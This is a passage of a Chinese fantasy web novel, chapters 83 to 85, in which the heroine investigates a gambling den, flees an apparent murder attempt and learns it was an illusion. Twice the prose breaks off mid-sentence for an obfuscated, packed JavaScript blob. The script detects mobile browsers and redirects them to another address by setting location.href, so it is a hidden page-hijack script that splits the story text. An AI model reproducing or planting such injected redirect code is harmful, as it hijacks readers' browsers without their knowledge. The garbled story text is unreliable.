“她若活到如今,该与你年岁相仿。”宏音的声音在寂静中显得格外低沉,“只是她十八岁那年便开启了灵关窍,容貌便永远停驻在了那时。” “我听羽婆说,她很调皮,爱睡懒觉,还会在月翮壁那样庄重的地方画小兔子和大王八。” “……嗯,总是静不下来。”宏音眼中掠过一丝极淡的笑意,“即便后来做了皇后,也常在宫里‘闯祸’,带着大家一起玩闹。人君却极爱她这般模样——活泼、明媚、良善、热烈。不像清冷的月辉,倒像……灼灼的太阳。” 我不禁在脑海中细细描摹那个活在众人记忆里的圣女——她是舒仲心尖上的挚爱,是舒岸誓死守护的信念,也是宏音心底永不褪色的烙印。 倘若棠梨还在世,如今会是怎样光景? 这念头刚起,无尽的哀凉便无声弥漫开来。 可即便活着,结局又能如何改变?棠梨早已被无相孽侵蚀,死亡是唯一的终局。 正怔忡间,脸颊上又落下轻如羽絮的一吻。我无奈地叹了口气,“都说啦,不要亲我。” 宏音笑了笑,甚至体贴地将尚在昏睡的尾巴轻轻挪到枕下,安放在我一伸手便能触到的位置。 “好。”男人温声应道,眼底映着还未熄灭的灯光,“下次一定。” 83. 第83章 月窟债主钱太多 无所事事地捱了几天,我除了每日应付那个怎么也改不掉称呼的汀汀,便是向宏音抗议他某些“逾矩”的行为。可他却总是一副理所当然的样子,觉得既然承诺了给我“棠梨”的待遇,便该兑现,还总淡淡瞥我一眼,叫我别多想,这只是支付必要的‘报酬’罢了。 收到报酬明明是件值得高兴的事,为什么我却浑身不自在,甚至非要跟他掰扯清楚?难道我真该闭着眼睛,心安理得地享受吗? 这问题还没想明白,无悔总算来接我了。宏音不许我晚上出门,我们只好趁天还没黑透,像做贼一样溜出聆月石府。 “啧啧,宏音大人真是越来越变态了,竟有模有样管着你,又当起了爹。”无悔一边说,一边促狭地冲我挤眼睛。 我搓了搓胳膊,没好气地抱怨,“罢了罢了,看在月羽花的份上,我再忍忍。” 无悔嘿嘿笑起来,那张发光的脸凑近了些,压低声音说,“说真的,趁他现在正上头,敲诈他一点,他什么都会给你。” 看来无悔是个性格顽劣、看热闹不嫌事大的家伙。 我撇撇嘴,送无悔一个大白眼,“得了吧,你们不敲诈勒索我就不错了。等小青回来,再挨个儿收拾你们!” “……算了,我不说了,”无悔缩缩脖子,做出怕怕的表情,“再说下去,宏音真能把我皮扒了。” 还没等我继续追问,眼前忽然一片金光扑面——月兔金窟到了。 月兔三十六窟的老板钱太多,天翮城著名奸商,他的月兔金窟就这么大剌剌地杵在城里最贵的地段。还未近前,金窟那闪闪金光便扑面而来,那风格和周围清雅古朴的建筑格格不入,活像个浑身挂满金链子的暴发户,硬挤进了一群文人墨客的宴席里。 大门刷得金灿灿的,门框上雕了几十个呆头呆脑的月亮,每个月亮心里都嵌着颗浑圆的珍珠,这叫“众星捧月”。门口没放石狮子,倒是蹲了两只纯金铸的胖兔子,圆滚滚的怀里还搂着巨大的金元宝,上面刻着“招财进宝”四个大字。 这儿就是月兔三十六窟的头一窟——月兔金窟。里头吃喝玩乐赌,应有尽有,比起浩哥之前去的那种小赌坊,简直一个天上一个地下。 热情的堂倌满脸堆笑地把我们迎进去。我脚下一软,猩红地毯绣满金色月纹,厚得能陷进半个鞋底。厅里柱子全包着金箔,上面雕的月兔图案一个比一个粗糙扎眼。最显眼的还是柜台后面那轮纯金打造的“满月”浮雕,所谓的月光就是几条僵硬刻痕,周围还吊着几十盏水晶灯,明晃晃照得人几乎睁不开眼。 放眼望去,满屋都是紫檀木大家具,又大又笨,镶金嵌玉不说,还都画着月下桂树——只是那树上缀满铜钱似的模样,哪儿是桂花树,该是摇钱树才对。 我震惊地看着人们来来往往,活像个刚下山进城、看啥都新鲜的“山里蹲”。 “哎呀呀——这是哪阵风把贵客给吹来啦!” 一阵叮叮当当的响声靠近,月窟债主钱太多摇摇晃晃地迎了出来。他那身衣品和这窟里的装修堪称一脉相承,十根手指戴满宝石戒指,光芒乱窜,腰间玉带上不挂玉佩,却拴着一串小金算盘和几只小元宝,走起路来哗啦作响,活像个行走的钱柜子。 “哎呀呀,债主大人。”无悔瞬时换上一副热络笑脸,快步上前握住钱太多的手,语气恳切,“上回为替朋友出口气,一时情急顶撞了您几句,都是逢场作戏,您可千万别往心里去。” 我站在一旁,目光却不由自主地被钱太多颈间悬挂的吊坠吸引——与他满身珠光宝气相比,那吊坠竟出乎意料地朴素,只嵌着一小截看似枯败的枝条。 心头蓦地一跳。我凑近细看,发现那枝条并未完全枯死,表面隐隐流动着一层极难察觉的微光。 ……这光泽我曾在“梦”中见过。这是——月羽木的残枝。 “这位是——”钱太多的声音将我拉回现实。 无悔暗地里扯了扯我的衣袖,面上仍堆着笑,“这位是宏音大人的贵客——嗯,非常‘贵重’的那种。” 我顺势拱了拱手,展颜笑道,“见过钱爷。前些日子随宏音大人赴无辰院宴饮,偶然尝到一款高纯度醉仙酒,风味独特,甚合我心。久闻月兔金窟藏品甚丰,不知您这儿可否觅得此酒?” 无悔在一旁听得眼皮直跳,那眼神分明在说:哪有这样开门见山的! “贵客果然不俗——”钱太多眼珠微转,压低声音试探道,“小的常在三界行走做些买卖,斗胆问一句,您……莫非是仙界中人?” “那倒不是。”我含笑摇头,语气从容,“不过与钱爷相似,在三界有些朋友,曾有幸与魔皇陛下同游长烬海,见识过他那只大如浮岛的烛兽坐骑;亦在仙帝的竹山小住过几日,赏过那通体莹澈、夜明如昼的白竹。至于人君的棠梨宫……”我略作停顿,眉眼间故意浮起一丝追忆之色,“更是在满树棠梨花下,听过几场春雨。” 无悔半眯起眼,与钱太多一同静静打量着我。 片刻寂静后,这位见惯世面的钱爷忽然笑开了,眼角的纹路深深攒起,“没想到今日竟迎来这般贵客。还请二位移步雅间稍坐,小的这就去备茶。” 今夜我的眼睛几乎被晃花了。就连在眼前来回踱步的无悔,身影都似叠出了重影。我终于忍不住扯住他的衣角,“你别转悠了,你这什么毛病,多动症?看得我眼晕。” “坏了坏了!”无悔压低声音,急得眉梢直跳,“你怎能信口编出那些话来?钱太多此人极为谨慎,此刻定然是去核实你所言虚实——若被他识破,别说买酒了,我就是想卖屁股都没机会了!” “啊?别别别。”我失笑,“你好歹是鲛人,怎能说出这么可怕的话来。” 无悔瞪圆了眼,气得几乎要拧我的耳朵,“可恶!我怎总是遇上你这种不按常理出牌的笨蛋伙伴——” 我这才反应过来,原是无悔以为我方才都是胡说的,这才紧张兮兮暴露了真实面孔:略带神经质。 懒得与无悔多辩,我自顾自窝进铺着软垫的椅中。起初我还顾忌着奸商的茶不敢碰,转念一想——宏音不是总想当爹么?那便让他好生体会一番为我善后的滋味罢。 想通这点,我拎起茶壶咕嘟咕嘟牛饮,心中快意:最好一口一万,今天晚上便教宏音破产! “唔……头好痛。” 我闻声一惊,低头看去,尾巴不知何时已趴在我胸前,那团柔和的光晕正随着它的动作轻轻晃动。 “天哪,你可算醒了。”我松了口气,小心地将尾巴托在掌心。 尾巴软绵绵地搭着,声音还有些虚浮,“发生什么事了……我怎么晕乎乎的……” “没事没事,我生气星允把你灌醉了,用铁拳把他打破了相!” 尾巴轻轻蹭了蹭我的手指,带着点惺忪的赞叹道,“哇,像一头雄狮,好厉害。” 我晃晃尾巴,凑近他闻了闻,已没有酒气了,随即便把口脂蹭到他身上,“忍一忍,回去我就用月羽花给你泡个澡,享受享受。” “……”尾巴顿了顿,光晕微微收敛,竟透出几分罕见的郑重,“也不能太奢侈了。那花儿,用一朵,这世间便少一朵。” 我将尾巴拢在掌心,目光警惕地扫过四周,压低了声音,“不会的,尾巴。因为我——找到了月羽木的残枝!” 正说着,钱太多回来了。无悔跟在后头,脸色发白,已是紧张到一副神游天外的模样。而钱太多则径直朝我走来,一把握住我的手,脸上的谄媚几乎要溢出来,“哎哟!小的今日才算开了眼,天下竟有您这般人脉通天的大人物!失敬,失敬啊!这便请您移步酒窖,一同品鉴那最后一坛极品醉仙酒——这可是旁人求都求不来的缘分!” 我和无悔跟着钱太多,从一道不起眼的侧门离开,穿过一间寻常客房,又启了一扇暗门——眼前豁然开朗,竟是另一番天地。 万物皆可赌,这儿便是钱太多的“月泉司”。大大小小的云雾屏眼花缭乱,光影流转间,可见不少衣着华贵的“贵客”正沉浸其中,或狂喜,或惨淡,享受着极致的癫狂与坠落。 我一眼便瞥见了圣女选拔的“外盘”赔率。出乎意料的是,盛放的赔率竟高居首位,与地面上那光鲜正统的投票情形截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549549|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然相反。 “喂,你到底怎么蒙混过去的?”无悔凑近我耳边,声音压得极低。 我被这鲛人缠得无奈,只得轻声解释,“我没撒谎。方才说的句句属实,任他钱太多怎么查证,我都不怕。” “什么?!”无悔那双漂亮的眸子骤然睁大,手指不自觉地捏紧了我的手臂,“魔皇与人君倒也罢了……可你怎会成为渊寂的座上宾?竹山是他的私宅,连凤琤公主都不能住!” “真是的,谁想住那儿,那白竹没日没夜偷窥我,一点都不舒服。” “……真是小看你了,‘仙丹’大人。”无悔松开手,别过脸去轻哼一声,“罢了。如今醉仙酒是有下落了,可看样子……必定贵得离谱。你可有对策?” 我学着盛放平日里的样子,将袖子一撸,盯着钱太多那肥胖的背影,咬牙低语,“若是买不起……那便只能走走偏门了。” 走入地下酒窖的刹那,连呼吸都为之一滞。 我原以为以圣桦琼汁酿造的极品醉仙酒世间罕有,却万万没想到——这深邃望不到头的窖穴之中,密密麻麻竟全是酒坛。 无悔的呼吸明显停顿了,他暗暗扯了扯我的衣袖,喉结滚动,“完了完了……我预感,钱太多怕是要在这儿活宰了我们。” 我看向前方正得意洋洋、滔滔不绝炫耀着珍藏的钱太多,目光掠过他那张被金银映得发亮的胖脸,心头蓦地升起一丝寒意,囤积如此之多对仙人堪称“毒物”的醉仙酒……他究竟想做什么? “如何,两位贵客——想要多少?”钱太多的声音在酒窖里悠悠响起,带着一种黏腻的试探。 我环视四周那些逐渐逼近、身形壮实的打手,压低声音道,“那得看钱爷您的出价——我们是否担得起了。” 无形的火药味,霎时间如窖中隐约浮动的酒香一般弥漫开来。钱太多负手踱了两步,脸上绽开一个古怪的笑容,“便用二位的命来换——如何?!” 话音未落,无悔已疾闪而出!他到底身手不凡,瞬息间格开迎面而来的攻击,一把拽住我的手腕,便朝着密如丛林般的酒坛深处冲去。 “开酒坛!”钱太多嘶声令下,“今儿就用这上好的酒,烹了这两只不知天高地厚的臭山兔!” 噼啪碎裂声接连炸响,一排排酒坛应声崩裂,其中蕴藏的、浓度惊人的琼浆霎时倾泻而出。黏稠馥郁的酒气如有实质般滚滚弥漫,几乎令人窒息。我迅速将晕乎乎的尾巴塞进随身的小瓶里,阻隔那无孔不入的酒气,随后便跟着无悔在迷阵般的酒坛间拼命奔逃。 “无冤无仇,为何突然要下杀手!”无悔一边疾奔,一边低吼。 “可恶!”我气喘吁吁地抱怨,“不是说钱太多对你有‘非分之想’吗?这算哪门子‘非分’?!” “啧,你傻不傻!”无悔以袖掩住口鼻,脚步却逐渐虚浮踉跄,“鲛人血肉……在黑市价值连城……传闻食之可延年益寿……” 浓烈到极致的酒气几乎摧毁了我的嗅觉。无悔显然吸入了太多,终是支撑不住,身子一软,“咚”地一声栽倒在地,昏睡过去。而那些追兵却似不受影响——看来他们反而都是些不通仙力的普通人。 钱太多跑得脸色发白,弯下腰喘了许久粗气,才恶狠狠地骂道,“还挺能跑……你们这一瘦一肥的臭山兔!” 我已退至绝路,身后竟是一处幽暗深坑——匆匆一瞥,坑底堆满了破碎废弃的酒坛。 “狗东西,你给我记着!”我咬牙啐道,“下次再见,定要把你打出屎来!” 撂下狠话,我拽住无悔毫无知觉的身体,纵身向坑中跃下——暗红色的晶盾瞬间自我周身迸发,坚硬如钢,一层层破开下方堆积的残破坛罐,护着我们坠向深处。 狡兔尚有三窟,钱太多的“金窟”却足足有三十六个,彼此勾连贯通,简直是作奸犯科的绝佳迷城。 不知钱太多在这地下究竟酿造了多少失败的酒液,残酒竟汇成了一道涓涓细流,最终融入了一条隐蔽的地下河中。我和无悔被裹在晶蛹般的护盾里,随波逐流,不知漂了多久,才勉强寻到一处浅滩靠了岸。 84. 第84章 不擅长挖洞的宏音 许是被河中残存的酒气吸引,不少闪着微光的“猫猫鱼”聚集在附近水底,它们鳞片上流动的柔光,总算为这绝对的黑暗提供了一丝朦胧的照明。 真是糟透了。原本还盘算着回去找宏音讨些月羽花给尾巴泡澡,眼下——我晃了晃手中的瓶子,里面的光团因晕船软绵绵的,几乎要化开似的咕嘟冒泡,晕得分不清方向。 “唔……晕死了,照夜,我好难受……”尾巴微弱的声音传来。 “振作点尾巴!”我捏捏尾巴的脑袋尖儿,道,“咱们得赶紧离开这里。” 尾巴在我掌心摇摇晃晃地“站”稳,谨慎地朝四周感应了片刻,“我们在翮山的山体内部。” “……”我忧心忡忡地望向地下河奔流而去的黑暗深处,“你说……感染棠梨的‘无相孽’,会不会就藏在这地底?” “大有可能。”尾巴的光晕微微绷紧了些,“怎么办,要去探一探吗?” 看了眼身旁仍昏睡不醒、还打着轻鼾的无悔,我长长叹了口气,“这次就算了吧。拖着这么个累赘,实在不便。至少……得先把他弄回地面去。” “走,照夜。”尾巴轻声道,光晕在我腕上留下一个淡淡的暖印,“我已标记了此处。下次,我们再来。” 借着尾巴身上散发的微弱光晕,我半扶半拖着无悔,沿着阴冷的地下河向深处摸索。不知走了多久,途经几段轰鸣的小型瀑布,又数次被迫坠入湍流随波漂荡,终于在天空透出朦胧灰白之际,从一个隐蔽的山洞中被水流“送”了出来。 外面又下起了雨。我精疲力竭,干脆坐在漫天的雨幕里,任由冰凉的雨水冲刷满身的泥泞与疲惫。 没过多久,雨丝似乎微微一滞——那个总是藏在雨里的男人,果然来了。 宏音的身影在渐密的雨帘中浮现。他眼中瞬间掠过一丝惊惶,随即又被薄怒覆盖,但最终沉淀下来的,是几乎要溢出的急切。他快步上前,见我一身狼狈,立即脱下外袍不由分说地裹住我。 “跑去哪里了?”宏音的声音压得很低,却带着明显的紧绷,“我说过,不可夜不归宿。” “我和无悔……差点被算计了。”我抓紧宏音干燥温暖的衣襟,语速不禁加快,“钱太多想杀我们。虽然……我也不知缘由。” 宏音沉默地架起昏迷的无悔,另一只手稳稳握住我冰凉的手。他的掌心很暖,声音却轻得像要融进雨里,“……会不会是有什么误会?” “是真的!”我抬头看宏音,雨水顺着脸颊滑落,“千真万确!” 宏音静静地凝视我片刻,终于几不可闻地轻叹一声。那声叹息裹着淅沥的雨声,听起来格外深沉,“照夜,眼睛所见的,有时未必是真相。在经历了映山都、归德城那些事之后,这个道理……你要时刻记在心里。” 我有些茫然了。宏音那话究竟是什么意思? 可恶……看来非得让他亲眼看见钱太多对我下杀手,他才会相信。也罢,不急在这一时。 难得今日,我不必再用那刺骨的寒泉沐浴,而是能久违地泡个舒舒服服的热水澡。尾巴这会儿也彻底清醒了,甚至精神十足地在我手臂上忙活——举着两个小光团化成的“拳头”,哼哧哼哧地替我搓着。 看尾巴那卖力的模样,我忍不住笑起来,“怎么样,我制定的对付星允大将军的战术,厉害吧?” “这真是你自己琢磨出来的?”尾巴的声音带着笑意,“完了,笨蛋照夜好像变聪明了一点。” “话说,尾巴,”我往后靠了靠,任由热水包裹肩膀,“我之前在……嗯,一个说不上来的地方,见到了好多好多‘你’。” “看来笨蛋的部分还是占多数嘛。”尾巴跳到我胸口上,轻轻蹭了蹭,“那不是无数个我,那就是‘我’本身——确切说,是你现在看到的这一小部分。那里有无尽的青莲,算是我的……老巢?” 我大笑起来,“所以,那个长满青莲的地方,到底是哪儿?” 尾巴的光晕温柔地贴近,仿佛捧住了我的脸。他的声音很轻,几乎贴着我的唇边响起,“那是青莲种在你体内的一颗莲子。在你‘上一次’生命终结的刹那,它成了维系‘照夜’这副身躯的核心,被金丹完全包裹着,藏在最深处。” “……你说的话,有点难懂,尾巴。” “笨蛋。”尾巴的语气里带着无奈的宠溺,“简单说,打个比方——那颗莲子,就是你的‘仙丹’,是你作为生命存在的……核心。”说到这里,他的声音忽而严肃起来,“照夜,以后尽量不要再去那里。要提防有些人,顺着你的意识潜入,找到你的核心。” 正当我打算向“尾巴老师”虚心请教更多时,宏音的出现打断了教学。 此刻我感到一种深深的疲惫,更多是心累——明明抗议了无数次,宏音却总是自作主张地接手帮我洗澡。 尾巴之前醉着不知道,此刻见宏音一言不发地挽起袖子,指尖轻柔地擦过我的肩膀,惊得光晕都颤了颤,“我的天……我才睡了几天?你们的关系已经发展到这个地步了?” “我拒绝过好多次了,”我无奈地叹了口气,“可他说这是‘报酬’。既然是报酬,哪有不收的道理?” 宏音闻言,低低笑了一声,目光却若有所思地落在一旁的尾巴上。 尾巴连连摇头,光晕向前探了探,仿佛在“打量”宏音,“真是笨得让人发笑。罢了,好在这男人对你没什么歹念,大概……只是太想念棠梨,想再过一把当爹的瘾罢了。” “你们在说什么?照夜。”宏音的声音打断了我的走神。 “……尾巴说,你对我没有歹念。” “嗯,这倒不假。”宏音的手指轻轻拂过我的耳廓,带起一阵细微的战栗,“不过,可以请你帮我带句话给他吗?” 闻言,尾巴倏地跳到我头顶,光晕凝成一个小小的、专注的轮廓,静静“盯”着宏音,像是在等待下文。 “你说吧,尾巴听得到。”我往水里缩了缩。 宏音的指尖仍停留在我耳畔,他的声音压得低沉,裹着一缕几乎难以察觉的、却分明存在的挑衅,“并非没有歹念。而是——此刻没有。” “……啊?” 我几乎是弹开了宏音的手,整个人沉入浊白色的热水里,只露出一双眼睛,警惕地望向那个连睫毛都沾着细小水珠的男人。 还未等我开口,头顶却传来尾巴低低的、近乎愉悦的笑声,“别怕,照夜。他不过是在挑衅我罢了。啧,有点难缠。等我得空了,悄悄去收拾他一顿。” 烦得很,眼下想做的事一件都没理出头绪。当我告诉宏音钱太多私藏了起码上千坛“加强版”醉仙酒时,他只斩钉截铁回了三个字:不可能。 这下连我都有些糊涂了。宏音为何如此笃定,认定钱太多要杀我们是“误会”,那些酒也“绝不存在”? 罢了。我还有消灭怪物胚胎的任务在身,没空琢磨宏音的心思。反正无悔那家伙还得醉上几天,不如我自己再去探探线索。 打定主意,我揣好尾巴悄悄溜出门。刚熟门熟路爬上墙头,宏音的身影便出现在了眼前。 可恶……这下个没完的雨简直成了他的耳目,将我的行踪暴露无遗,比百目仙人那些窥探四方的眼睛还讨厌。 “不准乱跑,也不准翻墙。”宏音声音不高,却带着不容商量的意味。 “你又不是我阿爹,我才不听你的。”我扒着墙头,不服气地顶回去。 宏音抱起胳膊,抬眼望向铅灰色的天际,语气平淡得像在陈述事实,“你没了阿爹,我没了棠梨。咱们可以凑合一下,各取所需,我并不介意。” “啊?怎么还强买强卖了起来,谁要跟你凑合!” 宏音无视我的抗议,只是伸手揉了揉我被雨打湿的头发,叹道,“叛逆,真令人头疼。走吧,今天我陪你,去看看你所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549550|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谓的‘铁证’。” 尾巴对此倒没反对,一副看好戏的腔调,“让他跟着呗。他是本地人,天上地下说不定都熟门熟路呢。” 我顿时泄了气。而那边,宏音像是早已摸透了我的打算,竟一路将我带到了之前随地下河流出的那个洞口。 连日雨水让河水涨了不少,水流湍急,泛着森森寒气。宏音有些无奈地轻叹一声,从掌心凝出一团清澈的水,随手抛入河中。 令人惊讶的是,那团水并未散开,反而在水面化作一个透明的、缓缓旋转的漩涡,如小舟一般。 “上来,尽量别弄湿鞋。”宏音见我发呆,手伸到我腋下,就这么把我夹起、放下,随即自己也踏了上来,驾着水舟逆流而上。 “这是什么?你的仙力……真的好特别。”我忍不住好奇。 “不过是一捧比寻常水更轻的纯水,外面裹了层浅薄的仙力罢了。”宏音说着,举起一枚夜明石。柔和的光芒驱散了前方渐深的黑暗,照亮了湿滑的岩壁。 “宏音,”我望着幽深的甬道,压低声音问,“怪物的卵壳,通常都藏在地下极深之处。翮山之下……有这样的地方吗?” “有。”宏音的回答简洁依旧,“只不过多年前因一场地震,坍塌了。钱太多后来买下了塌陷最严重的那片地,这些年不断向下挖掘,终究挖出了他那三十六个洞窟。” “……啊?”我惊得转过头,“你竟不阻止他?” “有免费的劳力,不是挺好么。”宏音不置可否地耸耸肩,“我不擅挖洞。既有人代劳,何乐而不为。” 自离开青莲山后,这外间的世事总是一再令我愕然。到如今,我几乎都要嫌弃自己这副“动不动就惊掉下巴”的没见识模样了。 我抬手就给了宏音肩头一记,板着脸示意他老实交代。他揉了揉被我捶过的地方,瞥见我撅起的嘴,竟低低笑了,“手劲儿不小。”随即正色道,“他们想找的东西,其实就在眼前——你也看过了。” 我正绞尽脑汁,尾巴的光晕却轻轻一颤,了然道,“是藏书馆里那些无人能破译的古籍。照夜,快,快把答案告诉宏音,证明你可不是笨蛋!!” 真是的……我感觉自己此刻有点多余了。 听我转述了尾巴的答案后,宏音点点头,拂去袖口沾染的水汽,在先前我逃跑时上岸的地方将我拉了上去,“没错。天翮族真正的书库,位于翮山内部的秘馆之中,保存着这个种族遗留的部分古籍。那也是棠梨最爱躲藏的地方——她总爱蜷在那些看不懂的文字间睡懒觉,据说,催眠效果意外地好。” 没想到,这位看似深沉的聆月使大人,面对不怀好意的窥探,用的竟是一招坦荡的“明棋”。对方既想偷偷挖掘埋藏在地下的古籍,他便大大方方将复刻本陈列于藏书馆,邀请天下能人志士共破谜题。这一招,反倒让敌人疑心是障眼法,以为那些书卷只是幌子。 然而,那些誊抄的册子全都是真的——凭借宏音过目不忘之能,一字一句皆从记忆中复现,分毫不差。 越往深处走,酒气便越发浓烈刺鼻。酿造失败的残酒仍在不断汇入暗河,汩汩流淌。 有宏音在,攀爬跋涉省力不少。他对这错综复杂的地下路径异常熟稔,真如土生土长一般,牢牢牵着我向翮山腹地深入。 更离谱的是,尾巴和宏音竟隔着我的脑袋,开始下起了盲棋。一人一光团,你一步我一步,有来有往,就这么在幽暗的洞穴中借着棋步默默交锋。终于,我们顺着几乎凝成实质的酒气,终于摸到了钱太多那藏于地下的酿酒工坊。 躲在一块巨岩后偷望,眼前的场面让我瞠目——至少七八十人正在此地劳作,巨大的蒸锅腾起滚滚白雾,成排的酒坛垒至洞顶,空气里弥漫着发酵物与酒精混合的闷浊气味。火光在岩壁上跳动,映出一张张麻木忙碌的脸。 “……原来,之前从归德、化西逃来又失踪的百姓,都在这儿。” 85. 第85章 我压低声音,忍不住刺宏音一句,“你这城主,好似有些多余了!” “嘘——”宏音突然捂住我的嘴。几乎同时,趴在我头顶的尾巴也光晕一凝,齐齐望向从前方一间木屋中走出的女子。 该如何形容这个女子?并非美貌,而是一种山间晨雾般的清冽与寻常。灰褐色的长发缺乏光泽,简单束在脑后,几缕碎发垂在苍白的脸颊旁。一双眼睛大而空洞,瞳色是浅淡的灰,仿佛始终蒙着一层拭不去的尘埃。 只见女子从衣兜里抓出一把亮晶晶的东西,像撒谷喂鸡般随手扬了出去。接下来的一幕,让我脊背发凉—— 那些原本机械劳作的百姓,瞬间丢开手中的活计,如饿兽般扑向那些闪光之物,抓起便疯狂塞入口中,喉间发出含糊的、近似呜咽的吞咽声。 这情景,诡异得令人心悸。 “……原来是她。”手指轻轻按了按我的肩,宏音的声音压得极低,“怪不得气息消失了,竟是藏到了地底。”他顿了顿,“倒要多谢照夜你——这般‘乱跑’呢。” 我盯着那些仿佛失去神智、只会伸手索求更多“亮晶晶”之物、喉咙里滚动着野兽般低鸣的百姓,冷汗倏地爬满后背。 察觉到我的颤抖,宏音蹙眉拭去我鼻尖的冷汗,突然伸手,将我头顶那团光晕捏在指间。 “走吧,棋友。”宏音低声说,语气里带着一丝决断的锋锐,“速战速决。再耽搁,照夜怕是要被这幻觉——吓傻了。” 只是刹那间,宏音的身影已从原地消失,再出现时,竟如鬼魅般悬在那神秘女子的正上方。 那女子反应极快,衣袖一扬,一大把亮晶晶的粉末便如星尘般泼洒而出,直冲宏音面门而去。刺鼻的粉尘味猛地炸开,我立刻慌忙掩住口鼻,眼睛却死死盯住前方。 就在那片闪烁着妖异光芒的尘雾即将扩散吞噬四周的瞬间,一声沉稳的断喝骤然响起—— “棋友,就是现在!” 是宏音!他不知何时已凌空翻转,双手虚拢于胸前,磅礴的水行仙力奔涌而出,竟在他掌心凝聚成一枚纯粹剔透、内部激流暗涌的——水球? 那水球晶莹流转,急速旋转,却怎么看都不像能伤人的样子。宏音要用这玩意儿……打架?打谁?打在我身上,我恐怕都不觉得疼。 然而,更令我瞠目结舌的一幕还在后头。 宏音的“棋友”——尾巴,只见这家伙的光晕在空中猛地一颤,骤然拉伸、变形,竟在呼吸间化作了一只庞大无比、通体流淌着淡金色光泽、且布满无数细密孔洞的—— 漏勺?! 这景象荒诞得让人想揉眼睛,却又奇异得透着一股难以言喻的协调感。 没等我从错愕中回神,宏音双臂向前一送,那颗凝聚着浩瀚仙力的水弹便呼啸射出。目标并非那撒粉的女子,竟是直直撞向悬浮半空的、尾巴化成的金色巨勺! 下一瞬,不可思议的变化发生了。 水弹触及“漏勺”的刹那,并未将其击穿或击碎,反而被那无数细密孔洞精准地切割、分解、重塑。宏音那原本磅礴刚猛的水行仙力,竟在瞬间被转化作了一场无边无际、细腻到了极致的蒙蒙烟雨! 这烟雨细密如牛毛,轻柔似薄纱,恰好与那弥漫的亮晶晶尘霭不相上下。 “嗤……” 没有巨响,只有一阵轻微到几不可闻的、仿佛湿润的沙沙声。无数细小到极致的水珠,仿佛拥有生命与意志,精准地寻找到空气中每一粒闪烁的尘霭,然后温柔而又不容抗拒地包裹上去。 阴冷呛人的空气仿佛被一场无声的甘霖彻底洗涤,迅速变得清冽、通透。直到尘埃落定,光雾消散。 然而,就在这人工烟雨即将完全收束的刹那,那神秘女子身影一晃,竟已趁乱消失得无影无踪。只留下满地横七竖八、已然昏迷不醒的百姓。 我怔怔地伸出手,接住几滴将散未散的细小水珠,在指尖捻开。只见水珠中心包裹着一点尚未完全消解的“亮晶晶”——那竟是某种细腻的鳞粉。更奇妙的是,清澈的水滴正在飞速侵蚀、溶解着鳞粉表面那层妖异的光泽。 很快,那点“亮晶晶”彻底黯淡,化作一撮灰败的尘埃,如同死去的飞蛾翅膀。 真是奇妙……这漫天尘埃的克星,竟是如此一场至柔至密的微雨。在精妙到极致的水雾面前,张狂的尘霭便如遇骄阳的蛛网,纷纷被打湿、坠坠、消融于无形。 尾巴打完架,恢复了小小光团的形态,啪嗒一下落回我肩头,还扒开我的眼皮凑近看了看,“哎哟,你这个小笨蛋,果然中了点幻术。” “啊?幻术?!”我一惊。 我赶忙跑到正在俯身检视昏迷百姓的宏音身边,还未开口,便听见他松了口气般低声道,“还好,只是昏迷……尚有救。” 只见这些百姓个个形如枯槁,骨瘦嶙峋,嘴唇泛着乌紫。虽昏迷不醒,但好在胸膛尚有起伏,脉搏犹存。 “早些时候,钱太多曾向守月司上报,说他收容的七十八名难民突然失踪。”宏音环视四周,声音平静,“原以为是挖掘洞窟时不慎迷路,不想……竟是被那女子困在此处,‘饲养’了起来。” 说着,宏音摊开掌心,仙力流转间,竟凝出一条完全由水构成的“猫猫鱼”。那鱼儿玲珑剔透,尾鳍轻摆,宛若活物,随即顺从地滑入一旁的地下暗流,摆尾游向洞外——想必是将此间的讯息传递出去了。 “到底……是怎么回事?”我脑子里一团乱麻。 宏音转过身,双手轻轻捧住我的脸,左右端详了片刻,嘴角勾起一抹了然的淡笑,“没什么。你和无悔先前中了那女子的‘幻鳞粉’,被迷了眼睛,陷入幻觉——所以才看见了成山的酒坛、要杀你们的钱太多,以及这些仿佛在酿酒的百姓。”他拇指轻抚过我的眼下,“不碍事,洗洗眼睛便好。忍着点哦,照夜。” “啊?怎么洗?就在这儿洗?” 话音未落,尾巴已默契地跳上来,轻轻扒开我的上眼皮。与此同时,宏音指尖一转,竟凭空引出一道清冽纤细却力道十足的水流,笔直冲向我的眼球! 又涩又痛的刺激感猛地炸开,我险些跳起来,只觉得眼珠子都要被冲出去了。 “咳,你看这事儿闹的,”尾巴在一旁讪讪开口,光晕微妙地闪了闪,“我一时忘了你是凡胎,会中幻术这种……小儿科把戏。” 尾巴这话说得,全然不顾气氛。 我揉着又酸又涨的眼睛,泪花直冒。可片刻后,视线却逐渐清晰起来,仿佛蒙尘的琉璃被骤然擦亮。再次环顾四周时,我彻底怔住了—— 这哪里是什么酿酒工坊?分明只是一个空旷的山洞,岩壁粗糙,地面散落着些许碎石。没有蒸锅,没有酒坛,更没有弥漫的酒气,空气中只有地下河特有的湿润与土腥味。 原来……我和无悔那日,早在不知不觉中便着了道,被那幻鳞粉拖入了逼真的幻觉。 如此说来,钱太多当时并非真要杀我们?他那所谓的酒窖里,也根本没有上千坛加强版醉仙酒,更不存在什么地下酿酒厂。 